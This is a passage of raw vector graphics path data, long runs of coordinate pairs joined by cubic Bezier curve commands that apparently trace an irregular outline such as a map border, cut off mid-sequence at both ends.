66448.00 5401.00C66458.67 5401.00 66469.33 5401.00 66480.00 5401.00C66480.00 5411.67 66480.00 5422.33 66480.00 5433.00C66501.33 5433.00 66522.67 5433.00 66544.00 5433.00C66544.00 5454.67 66544.00 5476.33 66544.00 5498.00C66565.33 5476.33 66586.67 5454.67 66608.00 5433.00C66618.67 5433.00 66629.33 5433.00 66640.00 5433.00C66640.00 5422.33 66640.00 5411.67 66640.00 5401.00C66672.33 5390.33 66704.67 5379.67 66737.00 5369.00C66758.33 5347.67 66779.67 5326.33 66801.00 5305.00C66822.33 5315.67 66843.67 5326.33 66865.00 5337.00C66876.00 5337.00 66887.00 5337.00 66898.00 5337.00C66908.67 5326.33 66919.33 5315.67 66930.00 5305.00C67005.00 5305.00 67080.00 5305.00 67155.00 5305.00C67155.00 5315.67 67155.00 5326.33 67155.00 5337.00C67197.67 5337.00 67240.33 5337.00 67283.00 5337.00C67283.07 5326.24 67282.87 5315.44 67283.10 5304.70C67294.07 5272.47 67305.03 5240.23 67316.00 5208.00C67348.00 5208.00 67380.00 5208.00 67412.00 5208.00C67422.69 5197.22 67433.59 5186.60 67444.14 5175.72C67454.76 5154.48 67465.38 5133.24 67476.00 5112.00C67465.33 5079.67 67454.67 5047.33 67444.00 5015.00C67476.33 5015.00 67508.67 5015.00 67541.00 5015.00C67551.67 5004.33 67562.33 4993.67 67573.00 4983.00C67551.67 4961.67 67530.33 4940.33 67509.00 4919.00C67530.33 4897.67 67551.67 4876.33 67573.00 4855.00C67562.33 4844.00 67551.67 4833.00 67541.00 4822.00C67541.00 4800.67 67541.00 4779.33 67541.00 4758.00C67519.33 4747.33 67497.67 4736.67 67476.00 4726.00C67476.00 4704.67 67476.00 4683.33 67476.00 4662.00C67508.33 4662.00 67540.67 4662.00 67573.00 4662.00C67573.00 4651.33 67573.00 4640.67 67573.00 4630.00C67594.33 4619.00 67615.67 4608.00 67637.00 4597.00C67647.67 4575.67 67658.33 4554.33 67669.00 4533.00C67669.00 4501.00 67669.00 4469.00 67669.00 4437.00C67690.67 4415.33 67712.33 4393.67 67734.00 4372.00C67766.00 4372.00 67798.00 4372.00 67830.00 4372.00C67840.67 4383.00 67851.33 4394.00 67862.00 4405.00C67894.33 4415.67 67926.67 4426.33 67959.00 4437.00C67991.00 4394.00 68023.00 4351.00 68055.00 4308.00C68065.67 4308.00 68076.33 4308.00 68087.00 4308.00C68108.67 4297.33 68130.33 4286.67 68152.00 4276.00C68141.00 4265.33 68130.00 4254.67 68119.00 4244.00C68130.00 4233.33 68141.00 4222.67 68152.00 4212.00C68184.00 4212.00 68216.00 4212.00 68248.00 4212.00C68248.00 4201.00 68248.00 4190.00 68248.00 4179.00C68291.00 4168.33 68334.00 4157.67 68377.00 4147.00C68398.33 4157.67 68419.67 4168.33 68441.00 4179.00C68451.69 4168.22 68462.59 4157.60 68473.14 4146.72C68483.76 4125.48 68494.38 4104.24 68505.00 4083.00C68515.67 4083.00 68526.33 4083.00 68537.00 4083.00C68548.00 4072.33 68559.00 4061.67 68570.00 4051.00C68559.00 4051.00 68548.00 4051.00 68537.00 4051.00C68548.00 4040.33 68559.00 4029.67 68570.00 4019.00C68559.00 4008.00 68548.00 3997.00 68537.00 3986.00C68554.73 3968.81 68572.54 3951.70 68589.89 3934.11C68604.59 3919.41 68619.30 3904.70 68634.00 3890.00C68655.33 3890.00 68676.67 3890.00 68698.00 3890.00C68708.67 3879.33 68719.33 3868.67 68730.00 3858.00C68730.00 3847.33 68730.00 3836.67 68730.00 3826.00C68751.67 3815.33 68773.33 3804.67 68795.00 3794.00C68795.00 3783.00 68795.00 3772.00 68795.00 3761.00C68816.33 3739.67 68837.67 3718.33 68859.00 3697.00C68869.67 3675.67 68880.33 3654.33 68891.00 3633.00C68901.67 3622.33 68912.33 3611.67 68923.00 3601.00C68912.33 3590.33 68901.67 3579.67 68891.00 3569.00C68891.00 3558.00 68891.00 3547.00 68891.00 3536.00C68934.00 3525.33 68977.00 3514.67 69020.00 3504.00C69020.00 3482.67 69020.00 3461.33 69020.00 3440.00C69042.76 3417.15 69065.70 3394.47 69088.35 3371.51C69097.57 3362.01 69106.78 3352.50 69116.00 3343.00C69137.67 3343.00 69159.33 3343.00 69181.00 3343.00C69191.67 3289.67 69202.33 3236.33 69213.00 3183.00C69202.33 3161.22 69191.49 3139.51 69180.92 3117.70C69169.95 3075.13 69158.97 3032.57 69148.00 2990.00C69126.67 2979.33 69105.33 2968.67 69084.00 2958.00C69084.00 2936.33 69084.00 2914.67 69084.00 2893.00C69062.67 2871.67 69041.33 2850.33 69020.00 2829.00C69009.33 2797.00 68998.67 2765.00 68988.00 2733.00C68966.33 2722.00 68944.67 2711.00 68923.00 2700.00C68933.67 2657.33 68944.33 2614.67 68955.00 2572.00C68944.33 2550.33 68933.67 2528.67 68923.00 2507.00C68933.67 2485.67 68944.33 2464.33 68955.00 2443.00C68955.00 2432.33 68955.00 2421.67 68955.00 2411.00C68944.33 2400.33 68933.67 2389.67 68923.00 2379.00C68912.33 2400.33 68901.67 2421.67 68891.00 2443.00C68890.93 2432.24 68891.13 2421.44 68890.90 2410.70C68880.27 2378.80 68869.63 2346.90 68859.00 2315.00C68869.67 2293.33 68880.33 2271.67 68891.00 2250.00C68880.33 2228.67 68869.67 2207.33 68859.00 2186.00C68827.00 2164.67 68795.00 2143.33 68763.00 2122.00C68763.00 2100.33 68763.00 2078.67 68763.00 2057.00C68752.00 2046.33 68741.00 2035.67 68730.00 2025.00C68676.67 2025.00 68623.33 2025.00 68570.00 2025.00C68548.33 2014.33 68526.67 2003.67 68505.00 1993.00C68526.67 1961.00 68548.33 1929.00 68570.00 1897.00C68591.33 1897.00 68612.67 1897.00 68634.00 1897.00C68657.22 1885.11 68680.30 1872.96 68703.61 1861.24C68723.40 1851.49 68743.20 1841.75 68763.00 1832.00C68795.00 1842.67 68827.00 1853.33 68859.00 1864.00C68869.67 1864.00 68880.33 1864.00 68891.00 1864.00C68914.22 1875.89 68937.30 1888.04 68960.61 1899.76C68980.40 1909.51 69000.20 1919.25 69020.00 1929.00C69041.33 1918.33 69062.67 1907.67 69084.00 1897.00C69094.67 1907.67 69105.33 1918.33 69116.00 1929.00C69126.67 1918.33 69137.33 1907.67 69148.00 1897.00C69159.00 1897.00 69170.00 1897.00 69181.00 1897.00C69181.00 1918.33 69181.00 1939.67 69181.00 1961.00C69213.00 1982.33 69245.00 2003.67 69277.00 2025.00C69320.00 2025.00 69363.00 2025.00 69406.00 2025.00C69416.78 2014.31 69427.40 2003.41 69438.28 1992.86C69459.52 1982.24 69480.76 1971.62 69502.00 1961.00C69545.00 1971.67 69588.00 1982.33 69631.00 1993.00C69706.00 1993.00 69781.00 1993.00 69856.00 1993.00C69866.67 2025.00 69877.33 2057.00 69888.00 2089.00C69898.67 2089.00 69909.33 2089.00 69920.00 2089.00C69952.00 2067.67 69984.00 2046.33 70016.00 2025.00C70016.00 1993.00 70016.00 1961.00 70016.00 1929.00C70037.67 1939.67 70059.33 1950.33 70081.00 1961.00C70113.00 1939.67 70145.00 1918.33 70177.00 1897.00C70198.67 1907.67 70220.33 1918.33 70242.00 1929.00C70242.00 1950.33 70242.00 1971.67 70242.00 1993.00C70263.33 1982.33 70284.67 1971.67 70306.00 1961.00C70370.33 1961.00 70434.67 1961.00 70499.00 1961.00C70509.67 1928.67 70520.33 1896.33 70531.00 1864.00C70574.00 1864.00 70617.00 1864.00 70660.00 1864.00C70660.00 1853.33 70660.00 1842.67 70660.00 1832.00C70670.67 1832.00 70681.33 1832.00 70692.00 1832.00C70702.67 1821.33 70713.33 1810.67 70724.00 1800.00C70724.00 1778.67 70724.00 1757.33 70724.00 1736.00C70756.00 1736.00 70788.00 1736.00 70820.00 1736.00C70841.67 1725.33 70863.33 1714.67 70885.00 1704.00C70895.67 1693.00 70906.33 1682.00 70917.00 1671.00C70938.33 1660.33 70959.67 1649.67 70981.00 1639.00C71002.33 1649.67 71023.67 1660.33 71045.00 1671.00C71056.00 1692.67 71067.00 1714.33 71078.00 1736.00C71078.00 1757.33 71078.00 1778.67 71078.00 1800.00C71110.00 1821.33 71142.00 1842.67 71174.00 1864.00C71195.49 1853.20 71217.09 1842.57 71238.52 1831.66C71270.68 1810.44 71302.84 1789.22 71335.00 1768.00C71345.67 1800.00 71356.33 1832.00 71367.00 1864.00C71410.00 1917.67 71453.00 1971.33 71496.00 2025.00C71506.65 2100.11 71517.42 2175.20 71528.00 2250.31C71528.00 2260.88 71528.00 2271.44 71528.00 2282.00C71560.00 2282.00 71592.00 2282.00 71624.00 2282.00C71641.19 2299.73 71658.30 2317.54 71675.89 2334.89C71679.93 2338.93 71683.96 2342.96 71688.00 2347.00C71688.00 2357.67 71688.00 2368.33 71688.00 2379.00C71699.00 2400.33 71710.00 2421.67 71721.00 2443.00C71731.67 2443.00 71742.33 2443.00 71753.00 2443.00C71785.00 2464.33 71817.00 2485.67 71849.00 2507.00C71849.00 2518.00 71849.00 2529.00 71849.00 2540.00C71859.67 2529.00 71870.33 2518.00 71881.00 2507.00C71902.67 2518.00 71924.33 2529.00 71946.00 2540.00C71956.67 2540.00 71967.33 2540.00 71978.00 2540.00C71988.67 2550.67 71999.33 2561.33 72010.00 2572.00C71999.33 2582.67 71988.67 2593.33 71978.00 2604.00C71988.67 2614.67 71999.33 2625.33 72010.00 2636.00C71988.67 2657.33 71967.33 2678.67 71946.00 2700.00C71967.33 2711.00 71988.67 2722.00 72010.00 2733.00C72010.00 2743.67 72010.00 2754.33 72010.00 2765.00C71999.33 2775.67 71988.67 2786.33 71978.00 2797.00C71978.00 2839.67 71978.00 2882.33 71978.00 2925.00C71999.33 2968.00 72020.67 3011.00 72042.00 3054.00C72031.33 3064.67 72020.67 3075.33 72010.00 3086.00C72020.67 3096.67 72031.33 3107.33 72042.00 3118.00C72031.33 3139.67 72020.67 3161.33 72010.00 3183.00C72020.67 3204.33 72031.33 3225.67 72042.00 3247.00C72031.33 3247.00 72020.67 3247.00 72010.00 3247.00C72010.00 3268.33 72010.00 3289.67 72010.00 3311.00C71991.54 3348.57 71973.05 3386.13 71954.24 3423.52C71951.52 3429.13 71948.51 3434.65 71945.97 3440.31C71935.31 3547.21 71924.66 3654.10 71914.00 3761.00C71892.33 3782.67 71870.67 3804.33 71849.00 3826.00C71838.33 3847.33 71827.67 3868.67 71817.00 3890.00C71827.67 3900.67 71838.33 3911.33 71849.00 3922.00C71838.33 3943.33 71827.67 3964.67 71817.00 3986.00C71806.33 3997.00 71795.67 4008.00 71785.00 4019.00C71806.33 4040.33 71827.67 4061.67 71849.00 4083.00C71849.00 4136.67 71849.00 4190.33 71849.00 4244.00C71827.67 4286.67 71806.33 4329.33 71785.00 4372.00C71806.33 4383.00 71827.67 4394.00 71849.00 4405.00C71849.00 4415.67 71849.00 4426.33 71849.00 4437.00C71795.33 4490.33 71741.67 4543.67 71688.00 4597.00C71666.58 4629.39 71645.28 4661.89 71623.78 4694.22C71613.19 4704.81 71602.59 4715.41 71592.00 4726.00C71602.67 4736.67 71613.33 4747.33 71624.00 4758.00C71624.00 4801.00 71624.00 4844.00 71624.00 4887.00C71581.33 4908.33 71538.67 4929.67 71496.00 4951.00C71485.00 4940.33 71474.00 4929.67 71463.00 4919.00C71452.33 4929.67 71441.67 4940.33 71431.00 4951.00C71420.33 4951.00 71409.67 4951.00 71399.00 4951.00C71377.67 4961.67 71356.33 4972.33 71335.00 4983.00C71345.67 5015.33 71356.33 5047.67 71367.00 5080.00C71345.67 5080.00 71324.33 5080.00 71303.00 5080.00C71313.67 5101.33 71324.33 5122.67 71335.00 5144.00C71313.67 5144.00 71292.33 5144.00 71271.00 5144.00C71271.00 5133.33 71271.00 5122.67 71271.00 5112.00C71260.00 5112.00 71249.00 5112.00 71238.00 5112.00C71227.33 5122.67 71216.67 5133.33 71206.00 5144.00C71206.00 5165.33 71206.00 5186.67 71206.00 5208.00C71216.67 5219.00 71227.33 5230.00 71238.00 5241.00C71227.33 5283.67 71216.67 5326.33 71206.00 5369.00C71216.67 5379.67 71227.33 5390.33 71238.00 5401.00C71324.00 5401.00 71410.00 5401.00 71496.00 5401.00C71485.00 5379.67 71474.00 5358.33 71463.00 5337.00C71495.33 5326.33 71527.67 5315.67 71560.00 5305.00C71560.00 5326.33 71560.00 5347.67 71560.00 5369.00C71581.33 5358.33 71602.67 5347.67 71624.00 5337.00C71634.67 5347.67 71645.33 5358.33 71656.00 5369.00C71656.00 5390.33 71656.00 5411.67 71656.00 5433.00C71699.00 5433.00 71742.00 5433.00 71785.00 5433.00C71795.67 5444.00 71806.33 5455.00 71817.00 5466.00C71838.33 5455.00 71859.67 5444.00 71881.00 5433.00C71892.00 5444.00 71903.00 5455.00 71914.00 5466.00C71924.67 5455.00 71935.33 5444.00 71946.00 5433.00C71956.67 5433.00 71967.33 5433.00 71978.00 5433.00C71988.67 5454.67 71999.33 5476.33 72010.00 5498.00C72031.33 5508.67 72052.67 5519.33 72074.00 5530.00C72085.00 5519.33 72096.00 5508.67 72107.00 5498.00C72107.00 5508.67 72107.00 5519.33 72107.00 5530.00C72117.67 5530.00 72128.33 5530.00 72139.00 5530.00C72128.33 5519.33 72117.67 5508.67 72107.00 5498.00C72117.67 5465.67 72128.33 5433.33 72139.00 5401.00C72149.67 5401.00 72160.33 5401.00 72171.00 5401.00C72171.00 5411.67 72171.00 5422.33 72171.00 5433.00C72203.00 5444.00 72235.00 5455.00 72267.00 5466.00C72277.67 5455.00 72288.33 5444.00 72299.00 5433.00C72299.00 5444.00 72299.00 5455.00 72299.00 5466.00C72320.67 5476.67 72342.33 5487.33 72364.00 5498.00C72353.33 5508.67 72342.67 5519.33 72332.00 5530.00C72364.00 5540.67 72396.00 5551.33 72428.00 5562.00C72417.33 5572.67 72406.67 5583.33 72396.00 5594.00C72406.67 5604.67 72417.33 5615.33 72428.00 5626.00C72449.33 5604.67 72470.67 5583.33 72492.00 5562.00C72513.67 5562.00 72535.33 5562.00 72557.00 5562.00C72567.67 5540.67 72578.33 5519.33 72589.00 5498.00C72589.00 5508.67 72589.00 5519.33 72589.00 5530.00C72610.33 5540.67 72631.67 5551.33 72653.00 5562.00C72642.33 5583.33 72631.67 5604.67 72621.00 5626.00C72631.67 5636.67 72642.33 5647.33 72653.00 5658.00C72674.33 5658.00 72695.67 5658.00 72717.00 5658.00C72738.67 5647.33 72760.33 5636.67 72782.00 5626.00C72792.78 5636.69 72803.40 5647.58 72814.28 5658.14C72835.52 5669.10 72856.76 5680.05 72878.00 5691.00C72888.67 5680.00 72899.33 5669.00 72910.00 5658.00C72910.00 5636.67 72910.00 5615.33 72910.00 5594.00C72920.67 5594.00 72931.33 5594.00 72942.00 5594.00C72953.00 5626.33 72964.00 5658.67 72975.00 5691.00C72996.33 5691.00 73017.67 5691.00 73039.00 5691.00C73039.00 5701.67 73039.00 5712.33 73039.00 5723.00C73060.33 5723.00 73081.67 5723.00 73103.00 5723.00C73124.67 5755.00 73146.33 5787.00 73168.00 5819.00C73189.33 5819.00 73210.67 5819.00 73232.00 5819.00C73267.52 5855.03 73302.86 5891.24 73338.88 5926.77C73367.59 5955.18 73396.29 5983.59 73425.00 6012.00C73446.33 6001.33 73467.67 5990.67 73489.00 5980.00C73510.33 6001.33 73531.67 6022.67 73553.00 6044.00C73531.67 6055.00 73510.33 6066.00 73489.00 6077.00C73499.67 6109.00 73510.33 6141.00 73521.00 6173.00C73521.00 6183.67 73521.00 6194.33 73521.00 6205.00C73499.67 6215.67 73478.33 6226.33 73457.00 6237.00C73435.67 6258.67 73414.33 6280.33 73393.00 6302.00C73393.00 6323.33 73393.00 6344.67 73393.00 6366.00C73371.33 6366.00 73349.67 6366.00 73328.00 6366.00C73317.33 6387.33 73306.67 6408.67 73296.00 6430.00C73285.33 6440.67 73274.67 6451.33 73264.00 6462.00C73264.00 6483.67 73264.00 6505.33 73264.00 6527.00C73285.33 6527.00 73306.67 6527.00 73328.00 6527.00C73338.67 6537.67 73349.33 6548.33 73360.00 6559.00C73317.33 6612.33 73274.67 6665.67 73232.00 6719.00C73242.67 6730.00 73253.33 6741.00 73264.00 6752.00C73264.00 6784.00 73264.00 6816.00 73264.00 6848.00C73274.67 6880.33 73285.33 6912.67 73296.00 6945.00C73296.00 6955.67 73296.00 6966.33 73296.00 6977.00C73318.85 6999.76 73341.53 7022.70 73364.49 7045.35C73374.19 7054.66 73383.70 7064.19 73393.52 7073.35C73425.35 7094.90 73457.17 7116.45 73489.00 7138.00C73553.33 7138.00 73617.67 7138.00 73682.00 7138.00C73725.00 7159.33 73768.00 7180.67 73811.00 7202.00C73800.00 7234.00 73789.00 7266.00 73778.00 7298.00C73767.31 7308.78 73756.41 7319.40 73745.86 7330.28C73713.91 7394.52 73681.95 7458.76 73650.00 7523.00C73660.67 7523.00 73671.33 7523.00 73682.00 7523.00C73703.33 7544.67 73724.67 7566.33 73746.00 7588.00C73767.67 7588.00 73789.33 7588.00 73811.00 7588.00C73811.00 7620.00 73811.00 7652.00 73811.00 7684.00C73843.00 7694.67 73875.00 7705.33 73907.00 7716.00C73907.00 7737.67 73907.00 7759.33 73907.00 7781.00C73896.33 7781.00 73885.67 7781.00 73875.00 7781.00C73864.33 7770.00 73853.67 7759.00 73843.00 7748.00C73843.00 7759.00 73843.00 7770.00 73843.00 7781.00C73853.67 7791.67 73864.33 7802.33 73875.00 7813.00C73896.33 7791.33 73917.67 7769.67 73939.00 7748.00C73939.00 7769.67 73939.00 7791.33 73939.00 7813.00C73928.33 7823.67 73917.67 7834.33 73907.00 7845.00C73917.67 7855.67 73928.33 7866.33 73939.00 7877.00C73949.67 7866.33 73960.33 7855.67 73971.00 7845.00C73982.00 7845.00 73993.00 7845.00 74004.00 7845.00C73993.00 7855.67 73982.00 7866.33 73971.00 7877.00C73982.00 7887.67 73993.00 7898.33 74004.00 7909.00C73982.33 7930.67 73960.67 7952.33 73939.00 7974.00C73939.00 7984.67 73939.00 7995.33 73939.00 8006.00C73960.67 8006.00 73982.33 8006.00 74004.00 8006.00C74014.67 8016.67 74025.33 8027.33 74036.00 8038.00C74046.67 8016.67 74057.33 7995.33 74068.00 7974.00C74089.33 7974.00 74110.67 7974.00 74132.00 7974.00C74132.00 7984.67 74132.00 7995.33 74132.00 8006.00C74164.33 8006.00 74196.67 8006.00 74229.00 8006.00C74239.67 8027.33 74250.33 8048.67 74261.00 8070.00C74261.00 8080.67 74261.00 8091.33 74261.00 8102.00C74271.67 8112.67 74282.33 8123.33 74293.00 8134.00C74271.67 8144.67 74250.33 8155.33 74229.00 8166.00C74229.00 8187.67 74229.00 8209.33 74229.00 8231.00C74218.00 8231.00 74207.00 8231.00 74196.00 8231.00C74185.33 8220.33 74174.67 8209.67 74164.00 8199.00C74153.33 8199.00 74142.67 8199.00 74132.00 8199.00C74142.67 8209.67 74153.33 8220.33 74164.00 8231.00C74153.33 8241.67 74142.67 8252.33 74132.00 8263.00C74100.00 8263.00 74068.00 8263.00 74036.00 8263.00C74036.00 8305.67 74036.00 8348.33 74036.00 8391.00C74014.33 8369.67 73992.67 8348.33 73971.00 8327.00C73982.00 8348.33 73993.00 8369.67 74004.00 8391.00C73982.33 8391.00 73960.67 8391.00 73939.00 8391.00C73928.33 8402.00 73917.67 8413.00 73907.00 8424.00C73907.00 8466.67 73907.00 8509.33 73907.00 8552.00C73917.67 8552.00 73928.33 8552.00 73939.00 8552.00C73939.00 8584.33 73939.00 8616.67 73939.00 8649.00C73949.67 8659.67 73960.33 8670.33 73971.00 8681.00C73971.00 8702.33 73971.00 8723.67 73971.00 8745.00C73960.33 8734.33 73949.67 8723.67 73939.00 8713.00C73917.67 8734.33 73896.33 8755.67 73875.00 8777.00C73885.67 8788.00 73896.33 8799.00 73907.00 8810.00C73907.00 8820.67 73907.00 8831.33 73907.00 8842.00C73896.33 8852.67 73885.67 8863.33 73875.00 8874.00C73864.33 8852.67 73853.67 8831.33 73843.00 8810.00C73832.33 8831.33 73821.67 8852.67 73811.00 8874.00C73789.33 8884.67 73767.67 8895.33 73746.00 8906.00C73735.33 8906.00 73724.67 8906.00 73714.00 8906.00C73724.67 8895.33 73735.33 8884.67 73746.00 8874.00C73746.00 8863.33 73746.00 8852.67 73746.00 8842.00C73735.33 8842.00 73724.67 8842.00 73714.00 8842.00C73703.33 8863.33 73692.67 8884.67 73682.00 8906.00C73671.33 8906.00 73660.67 8906.00 73650.00 8906.00C73628.33 8916.67 73606.67 8927.33 73585.00 8938.00C73574.33 8959.33 73563.67 8980.67 73553.00 9002.00C73531.67 9013.00 73510.33 9024.00 73489.00 9035.00C73489.00 9045.67 73489.00 9056.33 73489.00 9067.00C73499.67 9067.00 73510.33 9067.00 73521.00 9067.00C73521.00 9077.67 73521.00 9088.33 73521.00 9099.00C73542.33 9120.33 73563.67 9141.67 73585.00 9163.00C73574.33 9173.67 73563.67 9184.33 73553.00 9195.00C73563.67 9216.67 73574.33 9238.33 73585.00 9260.00C73574.33 9281.33 73563.67 9302.67 73553.00 9324.00C73531.67 9334.67 73510.33 9345.33 73489.00 9356.00C73478.33 9345.33 73467.67 9334.67 73457.00 9324.00C73446.33 9345.33 73435.67 9366.67 73425.00 9388.00C73414.33 9388.00 73403.67 9388.00 73393.00 9388.00C73380.73 9400.04 73368.16 9411.80 73356.08 9424.04C73340.15 9440.52 73324.21 9457.00 73307.89 9473.11C73303.93 9477.07 73299.96 9481.04 73296.00 9485.00C73296.00 9495.67 73296.00 9506.33 73296.00 9517.00C73264.00 9517.00 73232.00 9517.00 73200.00 9517.00C73189.33 9527.67 73178.67 9538.33 73168.00 9549.00C73157.00 9581.33 73146.00 9613.67 73135.00 9646.00C73113.67 9646.00 73092.33 9646.00 73071.00 9646.00C73081.67 9656.67 73092.33 9667.33 73103.00 9678.00C73081.67 9678.00 73060.33 9678.00 73039.00 9678.00C73017.67 9699.33 72996.33 9720.67 72975.00 9742.00C72964.00 9731.33 72953.00 9720.67 72942.00 9710.00C72931.33 9720.67 72920.67 9731.33 72910.00 9742.00C72888.67 9731.33 72867.33 9720.67 72846.00 9710.00C72846.00 9731.33 72846.00 9752.67 72846.00 9774.00C72835.33 9763.33 72824.67 9752.67 72814.00 9742.00C72792.33 9752.67 72770.67 9763.33 72749.00 9774.00C72727.67 9774.00 72706.33 9774.00 72685.00 9774.00C72685.00 9795.33 72685.00 9816.67 72685.00 9838.00C72674.33 9859.67 72663.67 9881.33 72653.00 9903.00C72642.33 9913.67 72631.67 9924.33 72621.00 9935.00C72631.67 9935.00 72642.33 9935.00 72653.00 9935.00C72653.00 9945.67 72653.00 9956.33 72653.00 9967.00C72631.67 9977.67 72610.33 9988.33 72589.00 9999.00C72599.67 10009.67 72610.33 10020.33 72621.00 10031.00C72653.00 10031.00 72685.00 10031.00 72717.00 10031.00C72717.00 10052.67 72717.00 10074.33 72717.00 10096.00C72727.67 10117.33 72738.33 10138.67 72749.00 10160.00C72781.33 10170.67 72813.67 10181.33 72846.00 10192.00C72867.33 10213.33 72888.67 10234.67 72910.00 10256.00C72910.00 10288.33 72910.00 10320.67 72910.00 10353.00C72878.00 10363.67 72846.00 10374.33 72814.00 10385.00C72814.00 10395.67 72814.00 10406.33 72814.00 10417.00C72835.33 10417.00 72856.67 10417.00 72878.00 10417.00C72878.00 10427.67 72878.00 10438.33 72878.00 10449.00C72856.67 10449.00 72835.33 10449.00 72814.00 10449.00C72802.35 10472.50 72790.96 10496.14 72779.14 10519.56C72769.09 10539.04 72759.04 10558.52 72749.00 10578.00C72749.00 10610.00 72749.00 10642.00 72749.00 10674.00C72760.00 10674.00 72771.00 10674.00 72782.00 10674.00C72803.33 10663.33 72824.67 10652.67 72846.00 10642.00C72856.67 10642.00 72867.33 10642.00 72878.00 10642.00C72867.33 10674.33 72856.67 10706.67 72846.00 10739.00C72856.67 10792.33 72867.33 10845.67 72878.00 10899.00C72888.67 10910.00 72899.33 10921.00 72910.00 10932.00C72910.00 10953.33 72910.00 10974.67 72910.00 10996.00C72899.33 11006.67 72888.67 11017.33 72878.00 11028.00C72856.67 11017.33 72835.33 11006.67 72814.00 10996.00C72803.33 11006.67 72792.67 11017.33 72782.00 11028.00C72792.67 11060.33 72803.33 11092.67 72814.00 11125.00C72796.64 11142.38 72779.34 11159.82 72761.58 11176.80C72740.38 11197.26 72719.79 11218.36 72698.88 11239.12C72694.25 11243.75 72689.63 11248.37 72685.00 11253.00C72674.33 11296.00 72663.67 11339.00 72653.00 11382.00C72631.67 11382.00 72610.33 11382.00 72589.00 11382.00C72578.33 11414.00 72567.67 11446.00 72557.00 11478.00C72557.00 11499.67 72557.00 11521.33 72557.00 11543.00C72546.00 11553.67 72535.00 11564.33 72524.00 11575.00C72545.67 11596.33 72567.33 11617.67 72589.00 11639.00C72567.33 11649.67 72545.67 11660.33 72524.00 11671.00C72492.00 11671.00 72460.00 11671.00 72428.00 11671.00C72427.95 11681.76 72428.10 11692.55 72427.93 11703.30C72417.28 11746.20 72406.64 11789.10 72396.00 11832.00C72417.33 11885.67 72438.67 11939.33 72460.00 11993.00C72449.33 12003.67 72438.67 12014.33 72428.00 12025.00C72406.67 12025.00 72385.33 12025.00 72364.00 12025.00C72385.33 12025.00 72406.67 12025.00 72428.00 12025.00C72428.00 12035.67 72428.00 12046.33 72428.00 12057.00C72417.33 12057.00 72406.67 12057.00 72396.00 12057.00C72385.33 12067.67 72374.67 12078.33 72364.00 12089.00C72364.00 12099.67 72364.00 12110.33 72364.00 12121.00C72385.33 12121.00 72406.67 12121.00 72428.00 12121.00C72428.00 12142.67 72428.00 12164.33 72428.00 12186.00C72417.33 12186.00 72406.67 12186.00 72396.00 12186.00C72385.33 12175.00 72374.67 12164.00 72364.00 12153.00C72353.33 12174.67 72342.67 12196.33 72332.00 12218.00C72310.33 12228.67 72288.67 12239.33 72267.00 12250.00C72267.00 12271.33 72267.00 12292.67 72267.00 12314.00C72245.67 12324.67 72224.33 12335.33 72203.00 12346.00C72203.07 12357.09 72202.87 12368.23 72203.10 12379.30C72213.73 12411.20 72224.37 12443.10 72235.00 12475.00C72216.39 12512.16 72197.80 12549.33 72179.53 12586.67C72176.74 12592.56 72173.57 12598.37 72171.00 12604.31C72171.00 12625.54 72171.00 12646.77 72171.00 12668.00C72192.33 12689.33 72213.67 12710.67 72235.00 12732.00C72224.33 12742.67 72213.67 12753.33 72203.00 12764.00C72192.33 12817.67 72181.67 12871.33 72171.00 12925.00C72171.00 12935.67 72171.00 12946.33 72171.00 12957.00C72138.67 13000.00 72106.33 13043.00 72074.00 13086.00C72063.33 13118.00 72052.67 13150.00 72042.00 13182.00C72063.67 13192.67 72085.33 13203.33 72107.00 13214.00C72107.00 13225.00 72107.00 13236.00 72107.00 13247.00C72085.33 13268.33 72063.67 13289.67 72042.00 13311.00C72052.67 13332.33 72063.33 13353.67 72074.00 13375.00C72063.33 13385.67 72052.67 13396.33 72042.00 13407.00C72052.67 13428.67 72063.33 13450.33 72074.00 13472.00C72063.33 13482.67 72052.67 13493.33 72042.00 13504.00C72042.00 13568.33 72042.00 13632.67 72042.00 13697.00C72031.33 13729.00 72020.67 13761.00 72010.00 13793.00C72020.67 13857.33 72031.33 13921.67 72042.00 13986.00C72031.33 14007.33 72020.67 14028.67 72010.00 14050.00C72020.67 14114.33 72031.33 14178.67 72042.00 14243.00C72042.00 14254.00 72042.00 14265.00 72042.00 14276.00C72063.76 14308.06 72085.39 14340.22 72107.22 14372.22C72117.81 14382.81 72128.41 14393.41 72139.00 14404.00C72128.33 14425.67 72117.67 14447.33 72107.00 14469.00C72107.00 14479.67 72107.00 14490.33 72107.00 14501.00C72128.33 14522.33 72149.67 14543.67 72171.00 14565.00C72171.00 14586.33 72171.00 14607.67 72171.00 14629.00C72181.67 14639.67 72192.33 14650.33 72203.00 14661.00C72181.67 14661.00 72160.33 14661.00 72139.00 14661.00C72139.00 14682.67 72139.00 14704.33 72139.00 14726.00C72149.67 14726.00 72160.33 14726.00 72171.00 14726.00C72203.06 14747.42 72235.22 14768.72 72267.22 14790.22C72288.82 14811.48 72310.41 14832.74 72332.00 14854.00C72321.00 14875.67 72310.00 14897.33 72299.00 14919.00C72331.33 14961.67 72363.67 15004.33 72396.00 15047.00C72385.33 15057.67 72374.67 15068.33 72364.00 15079.00C72364.00 15100.67 72364.00 15122.33 72364.00 15144.00C72374.67 15154.67 72385.33 15165.33 72396.00 15176.00C72396.00 15186.67 72396.00 15197.33 72396.00 15208.00C72428.00 15229.33 72460.00 15250.67 72492.00 15272.00C72481.33 15293.67 72470.67 15315.33 72460.00 15337.00C72470.67 15347.67 72481.33 15358.33 72492.00 15369.00C72491.93 15379.76 72492.13 15390.56 72491.90 15401.30C72481.27 15433.20 72470.63 15465.10 72460.00 15497.00C72481.33 15518.67 72502.67 15540.33 72524.00 15562.00C72513.33 15562.00 72502.67 15562.00 72492.00 15562.00C72492.00 15583.33 72492.00 15604.67 72492.00 15626.00C72470.67 15647.33 72449.33 15668.67 72428.00 15690.00C72428.00 15700.67 72428.00 15711.33 72428.00 15722.00C72449.33 15765.00 72470.67 15808.00 72492.00 15851.00C72513.67 15872.33 72535.33 15893.67 72557.00 15915.00C72567.67 15893.67 72578.33 15872.33 72589.00 15851.00C72599.67 15872.33 72610.33 15893.67 72621.00 15915.00C72642.33 15936.67 72663.67 15958.33 72685.00 15980.00C72685.00 15990.67 72685.00 16001.33 72685.00 16012.00C72695.67 16012.00 72706.33 16012.00 72717.00 16012.00C72727.67 16033.33 72738.33 16054.67 72749.00 16076.00C72766.73 16058.81 72784.54 16041.70 72801.89 16024.11C72805.93 16020.07 72809.96 16016.04 72814.00 16012.00C72814.00 16033.33 72814.00 16054.67 72814.00 16076.00C72846.00 16086.67 72878.00 16097.33 